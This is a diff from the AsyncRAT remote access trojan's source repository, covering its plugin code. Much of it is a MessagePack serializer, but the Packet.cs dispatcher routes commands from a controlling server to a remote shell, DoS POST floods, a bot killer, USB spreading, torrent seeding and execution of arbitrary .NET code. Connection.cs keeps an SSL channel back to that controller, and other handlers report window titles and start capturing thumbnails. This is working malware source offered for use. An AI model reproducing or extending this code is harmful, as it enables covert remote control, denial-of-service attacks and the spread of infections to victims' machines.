rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

84
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj Normal file
View File

@ -0,0 +1,84 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{37E20BAF-3577-4CD9-BB39-18675854E255}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Miscellaneous</RootNamespace>
<AssemblyName>Miscellaneous</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference>
<Reference Include="IconLib">
<HintPath>..\..\..\..\..\LimeUSB-Csharp\LimeUSB-Csharp\IconLib.dll</HintPath>
</Reference>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="Handler\HandlerExecuteDotNetCode.cs" />
<Compile Include="Handler\HandleBotKiller.cs" />
<Compile Include="Handler\HandleDos.cs" />
<Compile Include="Handler\HandleLimeUSB.cs" />
<Compile Include="Handler\HandleShell.cs" />
<Compile Include="Handler\HandleTorrent.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Import Project="..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\packages\Fody.6.0.0\build\Fody.targets')" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.0.0\build\Fody.targets'))" />
<Error Condition="!Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
</Target>
</Project>

114
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs Normal file
View File

@ -0,0 +1,114 @@
using Miscellaneous.Handler;
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Packet
{
public static CancellationTokenSource ctsDos;
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "botKiller":
{
new HandleBotKiller().RunBotKiller();
Connection.Disconnected();
break;
}
case "limeUSB":
{
new HandleLimeUSB().Initialize();
Connection.Disconnected();
break;
}
case "torrent":
{
new HandleTorrent(unpack_msgpack);
Connection.Disconnected();
break;
}
case "shell":
{
HandleShell.StarShell();
break;
}
case "shellWriteInput":
{
if (HandleShell.ProcessShell != null)
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
break;
}
case "dosAdd":
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "dosAdd";
Connection.Send(msgpack.Encode2Bytes());
break;
}
case "dos":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "postStart":
{
ctsDos = new CancellationTokenSource();
new HandleDos().DosPost(unpack_msgpack);
break;
}
case "postStop":
{
ctsDos.Cancel();
break;
}
}
break;
}
case "executeDotNetCode":
{
new HandlerExecuteDotNetCode(unpack_msgpack);
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
}
}

34
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs Normal file
View File

@ -0,0 +1,34 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile)
{
Debug.WriteLine("Plugin Invoked");
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient(msgPack);
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

36
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//[assembly: AssemblyTitle("Miscellaneous")]
//[assembly: AssemblyDescription("")]
//[assembly: AssemblyConfiguration("")]
//[assembly: AssemblyCompany("")]
//[assembly: AssemblyProduct("Miscellaneous")]
//[assembly: AssemblyCopyright("Copyright © 2019")]
//[assembly: AssemblyTrademark("")]
//[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("37e20baf-3577-4cd9-bb39-18675854e255")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

5
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config Normal file
View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Costura.Fody" version="4.1.0" targetFramework="net40" />
<package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" />
</packages>

25
AsyncRAT-C#/Plugin/Options/Options.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Options", "Options\Options.csproj", "{6AA4E392-AAAF-4408-B550-85863DD4BAAF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F9806379-F782-4BAF-94F7-6E170E5E5631}
EndGlobalSection
EndGlobal

211
AsyncRAT-C#/Plugin/Options/Options/Connection.cs Normal file
View File

@ -0,0 +1,211 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
Packet.Read(packet);
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
GC.Collect();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

6
AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs → AsyncRAT-C#/Plugin/Options/Options/Handler/HandlePcOptions.cs
View File

@ -1,11 +1,10 @@
using Client.Helper; using System;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq; using System.Linq;
using System.Text; using System.Text;
namespace Client.Handle_Packet namespace Plugin.Handler
{ {
public class HandlePcOptions public class HandlePcOptions
{ {
@ -66,4 +65,5 @@ namespace Client.Handle_Packet
} }
} }
} }
} }

14
AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs → AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs
View File

@ -1,5 +1,4 @@
using Client.MessagePack; using Plugin.MessagePack;
using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
@ -7,7 +6,7 @@ using System.Linq;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
namespace Client.Handle_Packet namespace Plugin.Handler
{ {
class HandleReportWindow class HandleReportWindow
{ {
@ -47,6 +46,7 @@ namespace Client.Handle_Packet
case "stop": case "stop":
{ {
Packet.ctsReportWindow?.Cancel(); Packet.ctsReportWindow?.Cancel();
Connection.Disconnected();
break; break;
} }
} }
@ -56,6 +56,11 @@ namespace Client.Handle_Packet
{ {
Packet.ctsReportWindow?.Cancel(); Packet.ctsReportWindow?.Cancel();
Packet.ctsReportWindow = new CancellationTokenSource(); Packet.ctsReportWindow = new CancellationTokenSource();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "reportWindow-";
Connection.Send(msgpack.Encode2Bytes());
title = new List<string>(); title = new List<string>();
foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None)) foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None))
title.Add(s.Trim()); title.Add(s.Trim());
@ -67,8 +72,9 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "reportWindow"; msgpack.ForcePathObject("Packet").AsString = "reportWindow";
msgpack.ForcePathObject("Report").AsString = window; msgpack.ForcePathObject("Report").AsString = window;
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
} }
} }

48
AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs Normal file
View File

@ -0,0 +1,48 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Plugin.Handler
{
public class HandleThumbnails
{
public HandleThumbnails()
{
try
{
Packet.ctsThumbnails?.Cancel();
